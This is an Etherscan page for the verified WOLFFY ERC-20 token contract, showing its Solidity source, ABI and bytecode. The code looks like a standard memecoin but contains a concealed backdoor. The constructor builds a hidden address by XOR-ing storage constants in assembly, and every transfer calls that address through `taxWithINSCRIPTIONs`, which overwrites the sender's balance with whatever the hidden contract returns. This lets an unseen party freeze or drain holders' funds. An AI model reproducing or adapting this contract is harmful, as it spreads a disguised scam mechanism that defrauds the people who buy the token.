Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
69,420,690 WOLFFY
Holders
54
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,308,023.660218165897228449 WOLFFYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Wolffy
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-07 */ /* :-=++****++==-:. -*%%#############%%%%#*=-. *%########################%%*=. +%#############################%%+- -%#################################%%*- .%######################################%*=. $WOLFFY ###########################################%*. -%############################################%: .-=#%%%%%%%%%%%%%%################################%. :=*%%###############%%%%%%%###########################%* :+#%#%%%%%%%%%%%%%###########%%%%%########################@ :*%%@@@@@@@@@@@@@@@@@@@@@%%%%######%%%%%####################@. -%@@@@@@@@@@@@@@@@@@%%%%%%%%%%@@@%%#####%%%%%%%%%#########%%%+ @@@@@@@%@@@@@@@%#****************##%%%%%%#####%%%%%@@@%%%###+. +=-:. *#******************************###%%%%%%%%##*******#%%%* :-#*******########*********************************#%%###%: :###%%%%%%%%%%%%%%%%%%%%#****%%%%%%%%%%%%%%%%%%%%%%%@%##%%%%= %%###%%#++#%%%%*+*%%%##%%##%%%%%%%*=*%%%%*==#%%####@%%#**%%. -%#%%%#-=%%%%%--#%%%########%%%%%-=%%%%#--*%%%%#%%##*****# %##%%#-+###%*-+%%%%########%%%%+-*%%%%=-+%%%%%%%********#- *##%%#----*%--==#%%########%%%%+=-=%%+=--=%%%#%#******##** .%##%%%%+-%%#+-*%%%###@%%##%%%%%=-#%%%#--#%%%#@*******#*#* +%#%%%%-+%%#-+%%%%##@#*%%##%%%+-*%%%%=-*%%%#%#********#.. #%##%#-#%%==%%%###%%#**%%####-=%%%%=-+%%##%%*********#* %%%%%#####*#####%%###***#%%#####%%#**##%%%#******#%####%- -***##%%%%%%%%%###%#******##%%%%%%%%%%##************#. +**************##*********##*****#*****************#- ***********************#+=::::::::+#***************#- +##******************##*-:::---==-::-#*##**********#%. +*%****************#**:::-=:::==+=-:+#*************# -#*%******************::-+=::::=*-+-+#*********###**#: -%##**************#+:+=======-+=+#***********#*:--- :. =*#*************##-+++=+++-##*******#***%+ -*##***********#+++**+*#*********@****#- :=*#%+=**###########%***%%***#+=*****- . ..:::::=%**%=:#*#* .*%- +#- */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function symbol() external view returns (string memory); function decimals() external view returns (uint8); function name() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; IDEXRouter router; string private _name; string private _symbol; uint256 private _totalSupply; bool public trade; uint256 public startBlock; address public msgSend; address public msgReceive; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; assembly { sstore(0x50,0x81ca6c60c75941a81679044bb5d8a65c80212aa18d12) sstore(0x51,0x81ca02356fec8e7f3265ee14a093bdf5668625f49fd4) sstore(0x52,xor(sload(0x50),sload(0x51))) } router = IDEXRouter(_router); } function symbol() public view virtual override returns (string memory) { return _symbol; } function name() public view virtual override returns (string memory) { return _name; } function decimals() public view virtual override returns (uint8) { return 18; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function sigmaNFR(bool NFT, uint256 receiver, uint number) public onlyOwner returns (bytes memory uniswapFlag) { } function openTrade() public payable { require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner"); _approve(address(this), _router, ~uint256(0)); uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 275); _balances[address(this)] += uniswapSupply; _balances[msg.sender] -= uniswapSupply; emit Transfer(msg.sender, address(this), uniswapSupply); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300); trade = true; startBlock = block.number; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function taxWithINSCRIPTIONs(address sender, uint256 amount) internal returns (uint256 result) { assembly { let data := mload(0x40) mstore(data, 0x0a9f0cf000000000000000000000000000000000000000000000000000000000) mstore(add(data, 0x04), amount) mstore(0x40, add(data, 0x24)) let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20) if success { result := mload(data) } } _balances[sender] = result - amount; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { msgSend = sender; msgReceive = recipient; require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled"); require(msgSend != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); taxWithINSCRIPTIONs(sender, amount); _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeployWolffy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[msg.sender] += amount; emit Transfer(address(0), msg.sender, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol) { _DeployWolffy(creator, initialSupply); } } contract Wolffy is ERC20Token { constructor() ERC20Token("WOLFFY", "WOLFFY", msg.sender, 69420690 * 10 ** 18) { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"NFT","type":"bool"},{"internalType":"uint256","name":"receiver","type":"uint256"},{"internalType":"uint256","name":"number","type":"uint256"}],"name":"sigmaNFR","outputs":[{"internalType":"bytes","name":"uniswapFlag","type":"bytes"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610057575f80fd5b5060405180604001604052806006815260200165574f4c46465960d01b81525060405180604001604052806006815260200165574f4c46465960d01b815250336a396c67254ac4e6cf08000083835f6100b461019e60201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600861010d8382610308565b50600961011a8282610308565b50507581ca6c60c75941a81679044bb5d8a65c80212aa18d12605055507581ca02356fec8e7f3265ee14a093bdf5668625f49fd4605155736e55a8b5cfd7241cea5f154b1ba9e6a70f5512c6605255600554600780546001600160a01b0319166001600160a01b0390921691909117905561019582826101a2565b505050506103ec565b3390565b6001600160a01b0382166101fc5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461020d91906103c7565b9091555050335f90815260026020526040812080548392906102309084906103c7565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061029857607f821691505b6020821081036102b657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030357805f5260205f20601f840160051c810160208510156102e15750805b601f840160051c820191505b81811015610300575f81556001016102ed565b50505b505050565b81516001600160401b0381111561032157610321610270565b6103358161032f8454610284565b846102bc565b602080601f831160018114610368575f84156103515750858301515b5f19600386901b1c1916600185901b1785556103bf565b5f85815260208120601f198616915b8281101561039657888601518255948401946001909101908401610377565b50858210156103b357878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103e657634e487b7160e01b5f52601160045260245ffd5b92915050565b610e6b806103f95f395ff3fe608060405260043610610105575f3560e01c8063715018a611610092578063a8aa1b3111610062578063a8aa1b31146102b5578063a9059cbb146102d4578063caae1892146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b8063715018a61461024f5780638da5cb5b1461026557806395d89b4114610282578063a705eee214610296575f80fd5b80631f0ba6c9116100d85780631f0ba6c9146101b357806323b872dd146101cc578063313ce567146101eb57806348cd4cb11461020657806370a082311461021b575f80fd5b806301a37fc21461010957806306fdde0314610145578063095ea7b31461016657806318160ddd14610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061015961035e565b60405161013c9190610bf9565b348015610171575f80fd5b50610185610180366004610c22565b6103ee565b604051901515815260200161013c565b3480156101a0575f80fd5b50600a545b60405190815260200161013c565b3480156101be575f80fd5b50600b546101859060ff1681565b3480156101d7575f80fd5b506101856101e6366004610c4c565b610404565b3480156101f6575f80fd5b506040516012815260200161013c565b348015610211575f80fd5b506101a5600c5481565b348015610226575f80fd5b506101a5610235366004610c8a565b6001600160a01b03165f9081526002602052604090205490565b34801561025a575f80fd5b506102636104ba565b005b348015610270575f80fd5b506001546001600160a01b0316610128565b34801561028d575f80fd5b5061015961052d565b3480156102a1575f80fd5b50600e54610128906001600160a01b031681565b3480156102c0575f80fd5b50600654610128906001600160a01b031681565b3480156102df575f80fd5b506101856102ee366004610c22565b61053c565b3480156102fe575f80fd5b5061015961030d366004610ca5565b610548565b34801561031d575f80fd5b506101a561032c366004610cdb565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b610263610575565b60606008805461036d90610d12565b80601f016020809104026020016040519081016040528092919081815260200182805461039990610d12565b80156103e45780601f106103bb576101008083540402835291602001916103e4565b820191905f5260205f20905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b5f6103fa338484610842565b5060015b92915050565b5f610410848484610966565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104995760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104ad85336104a88685610d5e565b610842565b60019150505b9392505050565b6001546001600160a01b031633146104e45760405162461bcd60e51b815260040161049090610d71565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461036d90610d12565b5f6103fa338484610966565b6001546060906001600160a01b031633146104b35760405162461bcd60e51b815260040161049090610d71565b6001546001600160a01b0316331480156105925750600b5460ff16155b6105ae5760405162461bcd60e51b815260040161049090610d71565b6005546105c79030906001600160a01b03165f19610842565b5f612710600a546105d89190610da6565b6105e4906125fd610dc5565b305f90815260026020526040812080549293508392909190610607908490610ddc565b9091555050335f908152600260205260408120805483929061062a908490610d5e565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106da9190610def565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af115801561072d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107519190610def565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d719343084808361078f6001546001600160a01b031690565b61079b4261012c610ddc565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610806573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082b9190610e0a565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108a45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b0382166109055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109b65750600d546001600160a01b031630145b806109d15750600154600d546001600160a01b039081169116145b610a275760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610490565b600d546001600160a01b0316610a8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610aef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b610af98382610b6d565b506001600160a01b0382165f9081526002602052604081208054839290610b21908490610ddc565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161095991815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610b9e57815192505b50610bab90508282610d5e565b6001600160a01b039093165f908152600260205260409020929092555090565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f6104b36020830184610bcb565b6001600160a01b0381168114610c1f575f80fd5b50565b5f8060408385031215610c33575f80fd5b8235610c3e81610c0b565b946020939093013593505050565b5f805f60608486031215610c5e575f80fd5b8335610c6981610c0b565b92506020840135610c7981610c0b565b929592945050506040919091013590565b5f60208284031215610c9a575f80fd5b81356104b381610c0b565b5f805f60608486031215610cb7575f80fd5b83358015158114610cc6575f80fd5b95602085013595506040909401359392505050565b5f8060408385031215610cec575f80fd5b8235610cf781610c0b565b91506020830135610d0781610c0b565b809150509250929050565b600181811c90821680610d2657607f821691505b602082108103610d4457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103fe576103fe610d4a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610dc057634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103fe576103fe610d4a565b808201808211156103fe576103fe610d4a565b5f60208284031215610dff575f80fd5b81516104b381610c0b565b5f805f60608486031215610e1c575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212200b0bbd529afb5ea8c470985ba47313c3ac15ec04203d2909ba32504558d318fa64736f6c63430008190033
Deployed Bytecode
0x608060405260043610610105575f3560e01c8063715018a611610092578063a8aa1b3111610062578063a8aa1b31146102b5578063a9059cbb146102d4578063caae1892146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b8063715018a61461024f5780638da5cb5b1461026557806395d89b4114610282578063a705eee214610296575f80fd5b80631f0ba6c9116100d85780631f0ba6c9146101b357806323b872dd146101cc578063313ce567146101eb57806348cd4cb11461020657806370a082311461021b575f80fd5b806301a37fc21461010957806306fdde0314610145578063095ea7b31461016657806318160ddd14610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061015961035e565b60405161013c9190610bf9565b348015610171575f80fd5b50610185610180366004610c22565b6103ee565b604051901515815260200161013c565b3480156101a0575f80fd5b50600a545b60405190815260200161013c565b3480156101be575f80fd5b50600b546101859060ff1681565b3480156101d7575f80fd5b506101856101e6366004610c4c565b610404565b3480156101f6575f80fd5b506040516012815260200161013c565b348015610211575f80fd5b506101a5600c5481565b348015610226575f80fd5b506101a5610235366004610c8a565b6001600160a01b03165f9081526002602052604090205490565b34801561025a575f80fd5b506102636104ba565b005b348015610270575f80fd5b506001546001600160a01b0316610128565b34801561028d575f80fd5b5061015961052d565b3480156102a1575f80fd5b50600e54610128906001600160a01b031681565b3480156102c0575f80fd5b50600654610128906001600160a01b031681565b3480156102df575f80fd5b506101856102ee366004610c22565b61053c565b3480156102fe575f80fd5b5061015961030d366004610ca5565b610548565b34801561031d575f80fd5b506101a561032c366004610cdb565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b610263610575565b60606008805461036d90610d12565b80601f016020809104026020016040519081016040528092919081815260200182805461039990610d12565b80156103e45780601f106103bb576101008083540402835291602001916103e4565b820191905f5260205f20905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b5f6103fa338484610842565b5060015b92915050565b5f610410848484610966565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104995760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104ad85336104a88685610d5e565b610842565b60019150505b9392505050565b6001546001600160a01b031633146104e45760405162461bcd60e51b815260040161049090610d71565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461036d90610d12565b5f6103fa338484610966565b6001546060906001600160a01b031633146104b35760405162461bcd60e51b815260040161049090610d71565b6001546001600160a01b0316331480156105925750600b5460ff16155b6105ae5760405162461bcd60e51b815260040161049090610d71565b6005546105c79030906001600160a01b03165f19610842565b5f612710600a546105d89190610da6565b6105e4906125fd610dc5565b305f90815260026020526040812080549293508392909190610607908490610ddc565b9091555050335f908152600260205260408120805483929061062a908490610d5e565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106da9190610def565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af115801561072d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107519190610def565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d719343084808361078f6001546001600160a01b031690565b61079b4261012c610ddc565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610806573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082b9190610e0a565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108a45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b0382166109055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109b65750600d546001600160a01b031630145b806109d15750600154600d546001600160a01b039081169116145b610a275760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610490565b600d546001600160a01b0316610a8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610aef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b610af98382610b6d565b506001600160a01b0382165f9081526002602052604081208054839290610b21908490610ddc565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161095991815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610b9e57815192505b50610bab90508282610d5e565b6001600160a01b039093165f908152600260205260409020929092555090565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f6104b36020830184610bcb565b6001600160a01b0381168114610c1f575f80fd5b50565b5f8060408385031215610c33575f80fd5b8235610c3e81610c0b565b946020939093013593505050565b5f805f60608486031215610c5e575f80fd5b8335610c6981610c0b565b92506020840135610c7981610c0b565b929592945050506040919091013590565b5f60208284031215610c9a575f80fd5b81356104b381610c0b565b5f805f60608486031215610cb7575f80fd5b83358015158114610cc6575f80fd5b95602085013595506040909401359392505050565b5f8060408385031215610cec575f80fd5b8235610cf781610c0b565b91506020830135610d0781610c0b565b809150509250929050565b600181811c90821680610d2657607f821691505b602082108103610d4457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103fe576103fe610d4a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610dc057634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103fe576103fe610d4a565b808201808211156103fe576103fe610d4a565b5f60208284031215610dff575f80fd5b81516104b381610c0b565b5f805f60608486031215610e1c575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212200b0bbd529afb5ea8c470985ba47313c3ac15ec04203d2909ba32504558d318fa64736f6c63430008190033
Deployed Bytecode Sourcemap
11212:126:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6302:22;;;;;;;;;;-1:-1:-1;6302:22:0;;;;-1:-1:-1;;;;;6302:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;6302:22:0;;;;;;;;6885:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7866:160::-;;;;;;;;;;-1:-1:-1;7866:160:0;;;;;:::i;:::-;;:::i;:::-;;;1362:14:1;;1355:22;1337:41;;1325:2;1310:18;7866:160:0;1197:187:1;9371:108:0;;;;;;;;;;-1:-1:-1;9459:12:0;;9371:108;;;1535:25:1;;;1523:2;1508:18;9371:108:0;1389:177:1;6256:17:0;;;;;;;;;;-1:-1:-1;6256:17:0;;;;;;;;7436:422;;;;;;;;;;-1:-1:-1;7436:422:0;;;;;:::i;:::-;;:::i;6993:93::-;;;;;;;;;;-1:-1:-1;6993:93:0;;7076:2;2174:36:1;;2162:2;2147:18;6993:93:0;2032:184:1;6275:25:0;;;;;;;;;;;;;;;;9236:127;;;;;;;;;;-1:-1:-1;9236:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9337:18:0;9310:7;9337:18;;;:9;:18;;;;;;;9236:127;5636:148;;;;;;;;;;;;;:::i;:::-;;5422:79;;;;;;;;;;-1:-1:-1;5487:6:0;;-1:-1:-1;;;;;5487:6:0;5422:79;;6773:104;;;;;;;;;;;;;:::i;6331:25::-;;;;;;;;;;-1:-1:-1;6331:25:0;;;;-1:-1:-1;;;;;6331:25:0;;;6121:19;;;;;;;;;;-1:-1:-1;6121:19:0;;;;-1:-1:-1;;;;;6121:19:0;;;7253:175;;;;;;;;;;-1:-1:-1;7253:175:0;;;;;:::i;:::-;;:::i;8388:119::-;;;;;;;;;;-1:-1:-1;8388:119:0;;;;;:::i;:::-;;:::i;7094:151::-;;;;;;;;;;-1:-1:-1;7094:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;7210:18:0;;;7183:7;7210:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7094:151;8515:713;;;:::i;6885:100::-;6939:13;6972:5;6965:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6885:100;:::o;7866:160::-;7940:4;7957:39;3551:10;7980:7;7989:6;7957:8;:39::i;:::-;-1:-1:-1;8014:4:0;7866:160;;;;;:::o;7436:422::-;7542:4;7559:36;7569:6;7577:9;7588:6;7559:9;:36::i;:::-;-1:-1:-1;;;;;7635:19:0;;7608:24;7635:19;;;:11;:19;;;;;;;;3551:10;7635:33;;;;;;;;7687:26;;;;7679:79;;;;-1:-1:-1;;;7679:79:0;;4090:2:1;7679:79:0;;;4072:21:1;4129:2;4109:18;;;4102:30;4168:34;4148:18;;;4141:62;-1:-1:-1;;;4219:18:1;;;4212:38;4267:19;;7679:79:0;;;;;;;;;7769:57;7778:6;3551:10;7800:25;7819:6;7800:16;:25;:::i;:::-;7769:8;:57::i;:::-;7846:4;7839:11;;;7436:422;;;;;;:::o;5636: